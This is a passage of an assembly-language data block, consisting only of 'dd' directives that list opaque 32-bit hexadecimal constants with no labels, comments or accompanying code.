4500C755h, 9F4EA6A8h, 351911h, 94BECA38h dd 8DA53150h, 88C3DB24h, 0FF6B7900h, 0E5D21298h, 727A2F8h dd 0A4B95C0Bh, 5F285068h, 7029F10h, 0F2ECFFE4h, 6D2040B4h dd 1B57023Dh, 3B956723h, 21318F40h, 0A77C3Fh, 8F0F152Eh dd 0FB4C60h, 45B52FECh, 0BBC3FC75h, 822ECFECh, 0D300DBA6h dd 416A9DCEh, 876700B6h, 0D2BE5A59h, 0ED00E678h, 0DEE70225h dd 0FE1092D1h, 17700049h, 0B5F739A6h, 0E1004521h, 8B60839Dh dd 422774h, 3A7D611h, 50C0CAB3h, 0FCEFAC24h, 80E00B9h dd 3B799445h, 57900E72h, 2F20E6C6h, 469EBB3Ah, 3CC3F50Fh dd 56648049h, 95A9D2h, 8FC49DFBh, 39ACD143h, 5E9BFD01h dd 0D96F2890h, 0F7F41021h, 176844EFh, 48989900h, 0D02F1E71h dd 0F8E754C5h, 5C14099Bh, 189896D3h, 33122DA5h, 0E807B920h dd 0E910F658h, 0ECB8347Bh, 71BFA4Ah, 93F38075h, 10C9503Fh dd 7D50485Bh, 0BD00EFEAh, 0CCBCB927h, 5E7FACh, 0E6F3656Dh dd 629607B8h, 0AD05557Bh, 38B98A10h, 23089281h, 0DA1AE4h dd 0B6FEB0BFh, 4860CA47h, 0EA782730h, 0E34C113h, 0A2E7148Dh dd 10CD7002h, 2BEAC740h, 7F0CFC13h, 681A5500h, 0F8B1217h dd 199B44E4h, 3422D4C0h, 8003D818h, 1A901379h, 938C805Bh dd 0A2743Dh, 68126ED6h, 804CFC52h, 0C1A89500h, 38D0ADA7h dd 0C4C95027h, 6FD90070h, 1CF8C77Eh, 0A73FD7EEh, 4D04004Ch dd 18D02722h, 834815CEh, 0C312F044h, 64530053h, 0D0B9E5E9h dd 0EB30290Fh, 378CE01Ah, 2BE171h, 8E91524Bh, 0E77D7F4Dh dd 0AC663C00h, 0E2964CB7h, 0EF7864h, 896A19E4h, 0C27CBE54h dd 2FF060C0h, 1B06D9FBh, 70F69943h, 0BCBE63E0h, 44665A00h dd 19D9657Ah, 10945043h, 0BF113071h, 16C6A8A1h, 8AACC37h dd 0F5DD7071h, 0E566C3F3h, 5535B900h, 844536h, 3F08947Ah dd 296D20CFh, 0BEAEE502h, 80496C28h, 433171C6h, 0BF234CCEh dd 0B6759400h, 0BC76DC89h, 16035CE2h, 11DF3F44h, 0CD53E764h dd 0D99001DEh, 4251126Ch, 0F11080D0h, 0AFDCAA2Dh, 0FB2C002Eh dd 0DF7F5305h, 1E7E74DEh, 262178AEh, 8CBD00C2h, 0D5B2C03Ch dd 7C0B5C00h, 0D2F2FD8Ah, 0A8A007CDh, 40D85E37h, 0BF710C0Fh dd 0F3F79807h, 43C13C4Bh, 0DED017F2h, 618400F6h, 2AC17079h dd 9B006FBAh, 7D80969Fh, 98579737h, 0FDFA8035h, 59D023Ah dd 0CEAAA217h, 7D2B4C0h, 71B7CB00h, 304F589Ah, 4873BBh dd 5451265h, 2FD44D79h, 29008074h, 1703377Bh, 8662ECh dd 0E172268Ch, 0EE8E5B1Fh, 23F0C31Ch, 8FF1A14Fh, 74620104h dd 302460C7h, 0B10A00D7h, 7D4EA201h, 290B5F64h, 0F99ED9h dd 0CFA02890h, 0D5D63DFEh, 0B8252000h, 0E40A0388h, 42ABFA00h dd 0A9543FF9h, 0AAE30045h, 11607C53h, 490DE20h, 0BB914B00h dd 0F8BC2D5Ah, 22ACA127h, 488D96E8h, 9B012459h, 6A482ECCh dd 2229BCE8h, 836F2292h, 2296B322h, 0D022BAC6h, 857D2293h dd 5811F742h, 88421B1h, 0EB907C86h, 48B6CB84h, 75E780E8h dd 0E055498Ah, 0FE0BBE00h, 634B8422h, 0E7E17A2Bh, 65B064h dd 647A71DCh, 0A933D891h, 7597A703h, 0C0B3A83Dh, 0B45A43h dd 0A4326288h, 3E69C491h, 0FB18191Eh, 0D6C021C5h, 521D5980h dd 38040077h, 1A937E02h, 0CE034F9Ch, 314B3663h, 0E16D901Eh dd 0C1E410h, 8B82602Dh, 145FE247h, 213D700h, 86CEB524h dd 1E56007Dh, 0E09DC84Ah dd 0DF055D2Ch, 0BDE5C0DCh, 76DD7280h, 0DEFF1FF3h, 0F35C02Dh dd 5AE3621Dh, 72F28500h, 66C90E68h, 63A1004Ah, 5B3440CBh dd 0D3002189h, 0F886B107h, 0C8AE7Ah, 1F3EF449h, 6473A861h dd 70F0055Ch, 2300ECF2h, 446E8935h, 5AA748h, 754D02FCh dd 0FEDDB846h, 9D214A1Ch, 89CED582h, 871E17Eh, 9A7E2F4h dd 2A3E25BBh, 0EBAD3080h, 0FE00E4BEh, 52FD7D2Fh, 67E84C7h dd 0F42E1A34h, 79008881h, 7287AEE2h, 79B1799h, 23356A67h dd 0B018A4A4h, 0F5E64BB4h, 5DC61600h, 73CA45FBh, 0C76D006Fh dd 0BF086BCDh, 0F500A887h, 0D6DCB5E2h, 7D7ED83Ah, 828300A0h dd 0FF9D64D9h, 4A00D289h, 6619EDBFh, 4CF517A5h, 7722E8Bh dd 0C6A3EB85h, 81083E9h, 0B97078D0h, 0EF831700h, 0DA1DD54Eh dd 4CFE5C03h, 0F48E4C00h, 0BCD25EBDh, 19B27C00h, 0E472ACEEh dd 0C07000A3h, 2C263C04h, 0A43BC877h, 103B24C3h, 0B28C6100h dd 0F9752Eh, 76C0BE4Fh, 0D3B12F59h, 0A53F181Eh, 84CBFDC0h dd 9AFFA9CDh, 45F31DD4h, 0A3B3004Ah, 4DE50F06h, 18028400h dd 0B7FE1A72h, 2D0B1F99h, 6CE3C055h, 7D9662ACh, 1568CC01h dd 0DF8D809Fh, 1F232BE4h, 40B21750h, 89BD42FAh, 6B0CE431h dd 0A8816A2Eh, 7D520511h, 0C139639Eh, 0CA25D6CCh, 0BECEB200h dd 908600A4h, 0AFEBF1D3h, 0B70014D1h, 0D8200F17h, 989A1Ah dd 0D22BDE6Ah, 3E452FEFh, 0C3C4E000h, 35FD94C2h, 8B6C0B51h dd 40803A4Fh, 1A81F2DCh, 6E117E00h, 0C31DD314h, 0BA6A7676h dd 74D40010h, 24CCCDCAh, 261CD996h, 33003D80h, 18BFA2E4h dd 51F23990h, 0EF8240BEh, 5DB66A8Dh, 254E6840h, 0FFDFD700h dd 7D1C3A43h, 5685008Eh, 7C746A8h, 50004260h, 0F4E0A138h dd 0FA5E216Ch, 8AD90071h, 1C6514E1h, 0DD071E9Ah, 50C32A93h dd 5462A870h, 3FCA00B8h, 34D57F29h, 9C000327h, 0F2B45B55h dd 11BF6B2h, 0E861E95Dh, 0F5F01096h, 4024F5ECh, 2A5A21A4h dd 0A0C23000h, 6806E9D4h, 80A0001h, 0F583DD93h, 35000250h dd 7F282EA6h, 0E4A547D6h, 62702EDAh, 0B03B016Eh, 0D00AD4EEh dd 95016D8Eh, 0F05640D5h, 1C8F809h, 82751E3Ah, 541B4B4Dh dd 9DC91700h, 7207559Fh, 0D7DB2DAFh, 0D2F07C90h, 0D47500B0h dd 707EBE3Ch, 0B27E5192h, 4DF4FF1Dh, 60C6D140h, 0B8387CE4h dd 1C9D17FEh, 9490071Ah, 554310F5h, 90084D1h, 73A5A751h dd 0C0FA8B7Bh, 0D264E618h, 29C0A4C9h, 0CCB6B2FDh, 0DA7E0E80h dd 43F8DD6h, 0C0EC67C4h, 16128277h, 324F307h, 874081A5h dd 7A98BBFh, 0DC3B8C85h, 0F2687375h, 0C7AB1C0h, 0FA21BD26h dd 1F118718h, 0B0E03CCBh, 0EF97400h, 72AF59D4h, 0D046A00Bh dd 421E8790h, 73969970h, 0F1841E98h, 83F75F9Ch, 0CE86EA23h dd 85D6FE07h, 1F8187ECh, 1EE8AC53h, 5A5C078Ch, 10046C19h dd 6A5161AAh, 44B0B800h, 20239C2Eh, 952609B9h, 0DB801FCFh dd 0F5D3BCF7h, 78556300h, 9F0BA229h, 371B00D4h, 4903C6BFh dd 9B5C7097h, 9A13F4Dh, 58E4443h, 0B600E6A7h, 13DE72E7h dd 41A80907h, 803605Fh, 0E5C1593Ch, 0FCB5D47Ch, 0A4529928h dd 0B9D2B400h, 0F8DF72BFh, 79A3B5Eh, 4F6C919Ch, 90C065DBh dd 2F4B636Ah, 339FAF00h, 623E2666h, 98AD1E3Fh, 222500DEh dd 1C273908h, 0C6A0A500h, 7B516C2Dh, 1ECA003Fh, 0C2C136F0h dd 6200D37Ah, 0EEB50FA0h, 5E7FC4h, 562908E3h, 1D77755Dh dd 3B211F1Dh, 86E85F45h, 5CC4D000h, 0B919213h, 49190B71h dd 356D8303h, 87E52100h, 0B411FC0Dh, 0B4955468h, 0EFE9008Ah dd 4AD9F25Fh, 9F1C147Eh, 3B812C6Ch, 95731E47h, 0EEE82ED0h dd 0F6C500F2h, 9AF94E42h, 0E31E184Ah, 0AD0030D8h, 0BDAB32F7h dd 3B610013h, 5B56A6BBh, 0D300B821h, 0F4B6D181h, 0FCA5E894h dd 34C9059h, 17274C55h, 57BB6A15h, 6D3DA8C0h, 8A697F1Fh dd 2042B180h, 0DB5162h, 0D1EE85D5h, 2C61258Eh, 4F1F86F2h dd 7E41293Eh, 0D8020D82h, 6646F0h, 34D687A3h, 32C27016h dd 0CF52CE00h, 0B56171E3h, 0BD3E05D0h, 80678CCAh, 0A833CB90h dd 8131773Fh, 46D1C1D2h, 1DECDBF8h, 1723003Ah, 0AF2928DAh dd 0A4A1845Dh, 8C598012h, 77F60748h, 5680006Ch, 9CE15E68h dd 0E0C0ECF4h, 0F01BCD4Dh, 1520904Ch, 0CC3ABA7Dh, 74C1F2Eh dd 80E404BBh, 1BF99ECAh, 62570500h, 0B0890C44h, 0B32F0047h dd 95FF7730h, 0A030860Fh, 0DAEA8085h, 0E0254851h, 0BE816D07h dd 0ADA4F06Eh, 0A162CAAh, 6B004DA0h, 1F3D5AF7h, 0EE550189h dd 0CC381927h, 0E8A2E4D2h, 0EFBA8E00h, 1678621Ch, 67CA0073h dd 9DB1793Ch, 3E008AA2h, 60E47003h, 3621378h, 0B3320736h dd 99F0664Ch, 0C50074EEh, 0C85A5FDCh, 43C3B4h, 757CF448h dd 50042BAEh, 0B660F8C0h, 0FEB3C5h, 1661149Ah, 0C8546AA0h dd 1807E303h, 0D7D55504h, 33D30BC1h, 7A5270h, 0C162CAE1h dd 796B72D4h, 1CC8FD01h, 10C278FBh, 0D9C24h, 0B5DF74D8h dd 8E860521h, 0E3EFFE03h, 90A2686Dh, 7264442h, 4B72C62h dd 166770F2h, 0C5004358h, 55DA63BCh, 9406964h, 0BDE52393h dd 0CD6198A0h, 9D0213FBh, 51901BB6h, 1FE08042h, 0BB1520h dd 0E4B1B40Fh, 60A05CEFh, 0D0532714h, 3C9240B5h, 1426052Eh dd 8BA10E00h, 0F04BCB0h, 874DBF7Fh, 60E9D9E0h, 44F2F6CCh dd 55AD5700h, 8E470777h, 56AA0288h, 3A704594h, 0FCAD0448h dd 0A093A50Fh, 20DD00B5h, 79312Ah, 8F3498A4h, 0B337D92Fh dd 2B469500h, 0CAD660C5h, 0A43B3F10h, 0D22E5980h, 0F7C84F6Eh dd 4071EC00h, 743568A5h, 9F20Fh, 6434D73h, 0B90D0217h dd 328F5A13h, 0B767C440h, 0ED2273h, 66CB469Ah, 0F3F4858Dh dd 99038307h, 56E7651Ch, 343680B0h, 0F747130Ah, 0CDE04B07h dd 1449C00h, 0A1ED1B54h, 8502A468h, 4B29E00Bh, 0F7F0D858h dd 8E15007Eh, 0D5EFAD40h, 3009DC7h, 0EB4AB3A3h, 955AE52h dd 471BA6B8h, 8F4368A0h, 0E100453Ch, 0DBF5CA5Bh, 0F83DCB3h dd 0F06DABBAh, 0CE4ABFC0h, 5F004814h, 0A96C0EE5h, 475E3D2h dd 0AB536BB9h, 8D480C5h, 767103DAh, 84D0901Dh, 740DC080h dd 0C5915Ch, 2E9040Fh, 0E73367Bh, 17D14A07h, 0DC50F1E5h dd 26AF37h, 0F359F210h, 0EFE365C7h, 8AE7EA16h, 1674D30Fh dd 1D24C020h, 0E4BE4980h, 80795A1Ch, 8DA9D286h, 0B704ACE9h dd 24B39AA1h, 0C7C14D0h, 0E5D10031h, 3F510FD6h, 0EB4DD7C6h dd 0D0771134h, 7B424E00h, 741F9093h, 51F0B863h, 0F13BC192h dd 71D90970h, 0EFC11C67h, 0CB0F0066h, 8A343C62h, 1DF3700h dd 584D6A28h, 0C97000B3h, 2D800944h, 51002F40h, 3A554259h dd 8CA0E0h, 7BA12CD4h, 73CE7884h, 1ABE8600h, 9B28D19Ch dd 98115994h, 4E16E401h, 0D8E230C0h, 0A954FE64h, 0CD0119DCh dd 0C22FCE08h, 5CE8395Fh, 5E3F01D0h, 0CBF8ABC3h, 9F9A30B7h dd 845B4728h, 0FA0072ECh, 1A55390Ch, 50368E22h, 487E26Ah dd 7580AEA7h, 0C1918073h, 55000133h, 84A2655Dh, 0AE540h dd 0F3E6F902h, 24152AEBh, 4ECD6C00h, 0E8BC5F74h, 748D5DB0h dd 0E8C5728h, 1AEF1B1Fh, 0C015D004h, 393466D7h, 0E082F107h dd 5DE7B9BFh, 4025DF70h, 0E06C9058h, 860A02ACh, 4C9701F6h dd 0DAD5C899h, 0AE198200h, 74F86Dh, 9123BD64h, 4C25775Bh dd 803EFB38h, 0A85D9841h, 12C56F9h, 515965FDh, 0C804C7B0h dd 26004001h, 144E812Eh, 69E0B8h, 61835222h, 5B01C621h dd 651B1009h, 85F681A1h dd 0F0C4F73Bh, 91AC001Eh, 15E37CFEh, 620E4246h, 0C0CD96C2h dd 0AB86D939h, 77ED1318h, 711E79h, 0CF99AE35h, 0B760F498h dd 0B6C45321h, 0F0FE0001h, 0CED7FFD6h, 5DB8DAD5h, 0FA2D6E00h dd 33639E09h, 5F7B37h, 6A4F01E9h, 48B73E92h, 0A4314001h dd 0F714AF6Eh, 65D720h, 7FD12C8Eh, 7AFFAAEFh, 0F12EB3Eh dd 808D3505h, 91EC5872h, 0F3FA0094h, 0A803A981h, 50002D3Ah dd 353BE64Eh, 9864F270h, 1ADE00F2h, 0E37857C8h, 0F37A9669h dd 6490E00h, 0D23DCAF4h, 54BB0639h, 0BEDE3620h, 1677AF00h dd 0D0DC637Ch, 1274F0D5h, 0E0657E1Ah, 75F6E464h, 0AD19F600h dd 0D33644F0h, 0F927075Bh, 20B8DC65h, 28DBBC77h, 4C33B50Eh dd 86214016h, 3B1A1A8h, 4FF9593Ch, 18C85864h, 19054348h dd 96466A14h, 2B62C000h, 0A97152h, 72249580h, 65574548h dd 0F9348B00h, 0AB8ACDB1h, 40800D6h, 132B95DFh, 5EFE89F8h dd 0B8B7BD00h, 0A3C26394h, 691A00E5h, 0AD37A876h, 6A003574h dd 3F28F4E8h, 32C6368h, 0A43C78A0h, 9038241Fh, 2646AE7Ah dd 2A76B300h, 9E5FBEh, 4493E926h, 0F33F50DBh, 0F207A200h dd 2FBE8D60h, 77B8C0A7h, 0A5B5F7D5h, 2DDEE0Fh, 89246055h dd 0EE54507h, 0BD0878E8h, 0F536500h, 3007A243h, 0A540EBCh dd 0AE241A40h, 75CA0FD5h, 9AE0B13Fh, 0D8390571h, 0D9C45400h dd 9F389E5Ah, 17A78B9h, 9D3C2069h, 0D01D2151h, 0F0E35CAh dd 408E7C97h, 0EEE75E81h, 0B18300C0h, 82D1B614h, 402D818h dd 67E87D8Ch, 0FD1040B8h, 57C41CB5h, 0A7E3C055h, 6DB0B405h dd 0E0CE5F00h, 0CB95790Bh, 73119050h, 0BE270015h, 196BD38h dd 0C43D5B85h, 88B80EC3h, 106CE7DFh, 0C0FF55F0h, 0B6AE007Bh dd 25802E17h, 5400F7D7h, 0A753477h, 0C828A5h, 0D4BDD392h dd 7EB4CAA4h, 3F4AC600h, 0B1D7A114h, 173E001Bh, 4D253A83h dd 0BA00C1B4h, 50797D84h, 0F065AF0h, 18FD807Ch, 4E47E660h dd 190171C8h, 0E7E1D357h, 4520DE9Bh, 0F8B0951h, 71817D1Ah dd 0D013F349h, 0A600B6AFh, 0DA07AEECh, 72B09Bh, 0B9500FE1h dd 39C3A31Eh, 4A00E6ECh, 0C1DBEB41h, 3DE9D47Bh, 8081F67Eh dd 56AC12A2h, 701DC0DDh, 0E5114400h, 766DDEFFh, 0D0650092h dd 0B19BAB95h, 34F833BBh, 0B3004CECh, 92F9FD55h, 1EEFE778h dd 4798537Ch, 60B0BBDCh, 82AD732Ch, 8326EA74h, 6200782Dh dd 0DE84C03h, 243201A7h, 0CD53FC35h, 3BA824BFh, 789295Ch dd 5B36DFB6h, 0A9AC2570h, 3DD400B2h, 9728225Ch, 7C73A3C6h dd 0ADB35300h, 0C74C69F1h, 58EC289Eh, 8820F1C5h, 40EA02FDh dd 865D0417h, 42EFE360h, 88E91631h, 1440B22Ch, 1DB066EEh dd 69EEF56h, 18DB316Ah, 1076EC30h, 30B53E7Ch, 6920F287h dd 0E01E66ADh, 3BB7D10h, 67AB6D29h, 8B5800E7h, 6EF54961h dd 96008685h, 26E55CB0h, 0F259FC17h, 407E6955h, 122F00A0h dd 33EA9E36h, 671DD400h, 0EFFB38EEh, 0AB6E0034h, 0A8E80BBCh dd 80048C65h, 0A09ED61h, 6C52C781h, 1EBC5BD8h, 8B6B89h dd 48F081D6h, 0DF007F97h, 0CE6478B5h, 9057B20Ch, 73E07CDh dd 9394E421h, 0C5B85FFBh, 1E005BAAh, 4F10B803h, 3C1DB05Eh dd 13803F72h, 0FCECDA9Ch, 0A8EEA0D8h, 2705D300h, 12D6D4BFh dd 0E1F03BBh, 0FFB2F5B3h, 0B438CAF8h, 2FC9FB04h, 9CC086DBh dd 0E0ECF790h, 0FDFC0055h, 4EB5F95Bh, 3A0098E4h, 505DB7BEh dd 0D5426h, 60FF5FDDh, 7407EB6Fh, 0EA068700h, 0BC1CAB8h dd 2228C268h, 0CC0103Eh, 0C300BE81h, 0BAAF1D7Eh, 7CBB18Ch dd 0BB37910Fh, 678590F2h, 0A2184E24h, 9250F51Bh, 83F04077h dd 0C40A7971h, 0A00D90CFh, 6780391Eh, 72E02071h, 0C21118A5h dd 7EB8203Ah, 0E845A914h, 38B9F120h, 0EA0CEE18h, 0C12482E8h dd 784D3EC4h, 94BE8303h, 9309BCEh, 5A64211Ch, 3E340078h dd 11567B6h, 81F9BA11h, 8DDC0340h, 0EFE0D32Ah, 19B760F2h dd 34E51B98h, 0B8063203h, 180E39E9h, 20CBA008h, 0E50063F5h dd 10E23BD6h, 28BB384Ch, 0C8C7612h, 61349B1Bh, 4928DDA1h dd 367C9CC3h, 1135A18Bh, 0B487218Ch, 960B99A9h, 80333D90h dd 1968D995h, 0B8900CEh, 0B6D3A40Ah, 41079EBFh, 3985D37h dd 4E8BEA10h, 8C41D028h, 4A00E323h, 56836D78h, 0A9208690h dd 435900D5h, 0D21D5278h, 9B006076h, 2192E620h, 80E27Ch dd 0E93A6463h, 1D51D24Ch, 4581860h, 6050AF24h, 5D2A69C1h dd 0E7039F3Fh, 4CB49E57h, 33083058h, 3FF50121h, 2FD0D301h dd 5E1AE939h, 0C19C5882h, 0A8A0B455h, 786B958Bh, 6C63B90Dh dd 8AF0A0FFh, 568100FDh, 182E2811h, 8CCF069h, 2EBD2188h dd 11281E5h, 4BDD4635h, 9BA6CC71h, 0B0C21DDh, 0F77089D3h dd 0E5E43D8h, 22BE0987h, 0FC428B54h, 1430A4F2h, 4E8977D7h dd 41B681B9h, 0DB502081h, 0C04C8A29h, 0B5BC6306h, 0B3F13058h dd 0F8319D41h, 0ADD68D0Eh, 79504C63h, 2A1B90B8h, 464C94E1h dd 0E57202F4h, 310E324Dh, 1AF810A1h, 3D6502E5h, 5F033358h dd 0E37E2C46h, 3FC1C200h, 0A0FBDC1Fh, 0FC543AB5h, 0A3091980h dd 0B124DD26h, 0B97BB80Ah, 0FBC0C075h, 46115081h, 177522D8h dd 81E453h, 0DA62F16Eh, 8901B2FFh, 7F0294AAh, 2980EE63h dd 97128480h, 3500C1C4h, 76DAA88Eh, 2A0C3DFh, 2EEA33BAh dd 24624D3Bh, 2192E004h, 6A10CC34h, 52335AFBh, 0E8ED1164h dd 1F1E4E2Ch, 43211DEBh, 2FB01105h, 0F3AB6AF8h, 38A05C03h dd 9836DC8Ch, 159E40CFh, 8C0D875Ah, 4F3D0071h, 53A71D07h dd 17297166h, 2A809CFDh, 9E64F004h, 0BCE50F8Dh, 0C740B7FBh dd 0C327E3ACh, 2EB20B0Eh, 5C4613D3h, 1B9FD63h, 0F6084335h dd 20622ED9h, 0E8CE7CCh, 83697836h, 17669588h, 0AF650021h dd 6970F477h, 504AE2Ch, 4D4E601Ah, 23D16882h, 31000187h dd 96080770h, 78221A1h, 0C043C14Ah, 5094710Dh, 0E0331262h dd 0B37AB9h, 69883640h, 0D6CC07FAh, 30657303h, 3CE933F5h dd 0E00064C1h, 92D34A2Ah, 0D904620Eh, 29B78D1Ah, 515900C1h dd 3F5C530Ch, 4726A2h, 0F4034C4h, 0F8D23FEBh, 488CE61Ch dd 6C6924F8h, 0B47D3840h, 0F70D1E64h, 94E515EDh, 1B783480h dd 448C6683h, 0AD005F13h, 0FBD97B77h, 182637A5h, 416751A0h dd 60009996h, 776CEC14h, 245D19DDh, 8098B0F1h, 0D131C5EEh dd 5904378Ch, 1F8F4342h, 1B3FCCC1h, 86440805h, 23D03142h dd 29E8954Fh, 4024A04Ah, 465ED4CFh, 7B260EA5h, 0F2C91882h dd 972700F6h, 0BAA9C27Eh, 100183BCh, 29EB99E5h, 29800287h dd 0C952988Ch, 0AFFECFCBh, 3937FD06h, 44B8EC17h, 7608215h dd 1859D931h, 0FB4800F7h, 62FFF2E3h, 0E901F8B0h, 5E74900Fh dd 90325243h, 0CCD9D800h, 75C9ABDh, 0B4CFC12Ch, 0D5A82174h dd 7E0A999Ch, 8B868888h, 264119E4h, 43F81301h, 593ECD39h dd 7C701A4Ah, 0F67C4131h, 0E5097418h, 9C1E324Bh, 1CF600C8h dd 5373BDE5h, 0BE58C791h, 0FA7160C0h, 156B5A69h, 3048F13Fh dd 6D01E923h, 56324AE5h, 0F380F463h, 4B4EE575h, 0ADED9E01h dd 6962F22Fh, 524AC984h, 260E40D1h, 0E0CA8EFCh, 9CDA0004h dd 0E68FF02Ch, 0A5003706h, 0D295F3D7h, 167E6E4Fh, 8536F28h dd 0E1C01F78h, 46115281h, 8222C8h, 9D81E9A9h, 8B7F1CD9h dd 57386405h, 4C2EB0Dh, 1C4A2CAh, 80708F04h, 35D36A8Dh dd 0ABD90FADh, 3E96CCB1h, 2123E4h, 2BA0F7A6h, 9318B25Bh dd 3448CC56h, 52048651h dd 0FE7FE3Fh, 103908CEh, 0A0253F81h, 60E50615h, 0F88EF38h dd 23EB002Dh, 0A235A352h, 6E0041D3h, 89CC038Dh, 1C7D6F3Dh dd 164F672h, 0E036D64Eh, 80F44411h, 23708F9h, 0E1448F0Ah dd 1F00D9BDh, 503144Dh, 0A0CCF41Dh, 7C1680h, 13BB44Fh dd 6DA570D9h, 6913CD00h, 0D8E2EC44h, 143A00D7h, 3E8EE39Fh dd 3000BFB5h, 175E42C4h, 0AF579FFh, 5948B9ABh, 0D9740097h dd 5890112Ch, 0ED0069E2h, 1FFB0C20h, 0A0F69Dh, 4CCC717Bh dd 9F3AF1C3h, 9709AD00h, 4058EEBDh, 18190042h, 228A7970h dd 0B500D617h, 1A145EE5h, 7E3A85A0h, 41C013E0h, 4B6F00BBh dd 9E6A696h, 87C6D400h, 5328326h, 78BEC40h, 81180157h dd 0E3893047h, 8860C749h, 61C4F641h, 1D70003Ah, 25DAA18Bh dd 0DF61A593h, 173FB381h, 7F78CCh, 8D06B0A6h, 0CFA5E652h dd 0CDFEE100h, 0EA7C2BF2h, 3AF003C3h, 94D5C631h, 0F50518F8h dd 624C8B71h, 0F2C80051h, 8E6912DDh, 3A87F8DEh, 0F7B06CC3h dd 64EA7D40h, 0C1917B00h, 9F66865Ah, 0EE5500C4h, 0D8986367h dd 5FE6E3CEh, 0C3DA000h, 3EBC619Ch, 0F1761C9Ah, 80668F72h dd 91E64F20h, 180063A9h, 0DFFCB7FFh, 0A01C029h, 8CEF7EFEh dd 16DE00E0h, 0BB58756Dh, 0F46FDF00h, 77A84D0Fh, 62A0002Bh dd 0C1B89F86h, 0AA016AFFh, 0FA0E98CEh, 20179Dh, 0D1ED0097h dd 4741013Dh, 0C0C0162Ah, 0BF8770Ah, 0DD38051Eh, 0C0FF24C6h dd 9D668F6Bh, 0F081D800h, 96C1DC42h, 0C09E545Fh, 0FD1C01B6h dd 8992FB75h, 0DA2020BDh, 8C5C1D1Dh, 0E5A58500h, 72B028Fh dd 0BA281C58h, 7FDFE738h, 0D641FA40h, 30010BF2h, 0F903A0C6h dd 13616544h, 79028089h, 2BABF600h, 4B00619Bh, 76460B5Ch dd 5D0A13h, 8909AB8h, 3E41E680h, 100A098h, 718F6B5Eh, 1F2492C9h dd 478DF27h, 0C00C419Ch, 0E6DEE0DAh, 0E2BB081Ch, 8083E7C0h dd 0DD30C2CEh, 3B007B40h, 31073C78h, 130F618Eh, 944B55h dd 0F6209CE8h, 97DE0095h, 0F8C07C6Ch, 66121BD6h, 80010A75h dd 0F4303C48h, 43AD2030h, 3F570750h, 0C418E7FDh, 0EF1340D8h dd 3F5DBA3Fh, 0D00006C1h, 33E3A020h, 0E613DC3Dh, 0AC0814CCh dd 81FAC060h, 0C0461151h, 4400EE22h, 648581E3h, 7ADE3Fh dd 7084D929h, 8EE4E983h, 82384B05h, 2C2B7BA6h, 36017423h dd 0B5822F63h, 0C94C64h, 0B28EB913h, 5D414901h, 0A87AC007h dd 15F0AD07h, 1E3AA77h, 0E04884BCh, 2CDC8D70h, 74070090h dd 5BB6B794h, 11A5091Eh, 0A4C0301Ah, 7F090343h, 0C0D4571Dh dd 0F8108D8h, 2A8D11E8h, 8025D686h, 0F13DAB81h, 0D48C3103h dd 0A30148ADh, 3775CAB1h, 61CC41E1h, 0EA20C084h, 0AFF435C4h dd 11204EE1h, 0DD824B0Ah, 0B4C1DC31h, 86918F5h, 763236E5h dd 121BDC6h, 0F6E511F7h, 0E393B9D0h, 272CEFF8h, 0AA875512h dd 0C10464D3h, 0F06F3A5Ah, 1D00E24Dh, 0C0E18CD9h, 0A223F847h dd 55B41890h, 12703D68h, 0A53BB80h, 0DA258F8Dh, 0C5BA1900h dd 0D63DAA9Dh, 4D8A0099h, 159BD42Fh, 489C3945h, 74737085h dd 0BA9E5C93h, 99DD6031h, 2F9B301Ah, 944FB8B9h, 0A00CE61Fh dd 0D73064C7h, 0B5532AF0h, 39920054h, 28AB80FAh, 2F1DA4D1h dd 0DF001A8Ch, 9B1B5D19h, 49356530h, 145C0087h, 5FBFA5C0h dd 0EB0B1A01h, 0F1D273E5h, 0BD58FCh, 39AF46A7h, 72481287h dd 7FA7F16h, 0ECDB6A00h, 170B279Eh, 23E28C5Ah, 30EF9BBCh dd 0FE688E9Dh, 0E90BA9B0h, 90BA538Bh, 40A90518h, 666F51CBh dd 0F0858391h, 0DD1FF887h, 0C5777FDh, 0A384AC15h, 0BC3C2539h dd 14620747h, 1B40FC70h, 7AD939h, 633C9DDEh, 71CD5C64h dd 0FF2D5373h, 11330075h, 3045AB0h, 67341EF9h, 15D8D34Fh dd 5800617Dh, 7B77BB8Bh, 75232556h, 184279C6h, 38833CD1h dd 0A77AF6CFh, 0D908176Eh, 83E80621h, 0D27000D8h, 4DDCC2Dh dd 7E02F409h, 0DAE85010h, 0F1BB616Eh, 850C308Fh, 30B031A3h dd 299094D8h, 0DF090700h, 8D42567Dh, 2A0A11F1h, 0C9B1EA6h dd 31F41A81h, 0FEDF1672h, 21F06108h, 0D48D3566h, 7E00900Dh dd 926573EAh, 0F662C702h, 0F75730CDh, 49439A90h, 6EF1B0C1h dd 4180BAC0h, 25D488ACh, 706FD685h, 74298421h, 0D8008C5Ah dd 3C5BF832h, 8490F006h, 3308778h, 0C2F6089h, 64E077C5h dd 18C0E015h, 4E36BBB4h, 0A251C043h, 893C84B3h, 52258303h dd 0A32666C1h, 0D5210057h, 55DD854Bh, 53301F23h, 989B195Ch dd 266100CAh, 0DBA2ADD3h, 3500C3FAh, 739FDD64h, 67C5305h dd 3B08FF56h, 3CC0886Eh, 2826172Ah, 0E7DF5CCCh, 0B3912E00h dd 96D1AECBh, 7A783100h, 73205561h, 0C9B60FDCh, 760F722h dd 0A7906C76h, 8770300h, 14066321h, 0E8D8032Dh, 4530553Dh dd 8ABF6798h, 77C3D500h, 4073A7F5h, 32700025h, 7F62E3ECh dd 5500FB9Bh, 0D6BE503Ah, 2CAAE60Dh, 1771584Bh, 0D118FF35h dd 3EEDB920h, 0D2003FC8h, 43232DEEh, 12007A62h, 5E870ECCh dd 0E75FC6h, 9295C58Ch, 132EB6Ch, 0E61E5303h, 0E4C6CB9Ch dd 332D80EEh, 46603E21h, 0A43DB158h, 0CC23005Ah, 5C34DDC5h dd 0B00254Ah, 95810E5Bh, 0C2B7C13h, 9D5AA643h, 3961AA48h dd 714787E1h, 0DC0048BCh, 0AF1194EEh, 2860214Bh, 0DE7E8F61h dd 323B02B3h, 0A624EBA2h, 9AC203E2h, 0FAA30F80h, 400099Bh dd 85376462h, 353B543h, 0E9550EC7h, 0B7B81E4Ch, 670E465Ch dd 414D45C4h, 24C39736h, 0AA044Bh, 0FDF8C263h, 0C0F242FCh dd 6C620C18h, 3C008DCFh, 358BBC6Bh, 0E3642Fh, 0CBFCBA5Eh dd 6DC388D1h, 2906F531h, 2EAA127h, 0B02F9E70h, 48018084h dd 9FD64213h, 28482325h, 840F9044h, 0A748EB79h, 2EB3F480h dd 0E529D5h, 199B1785h, 0D1F32AB5h, 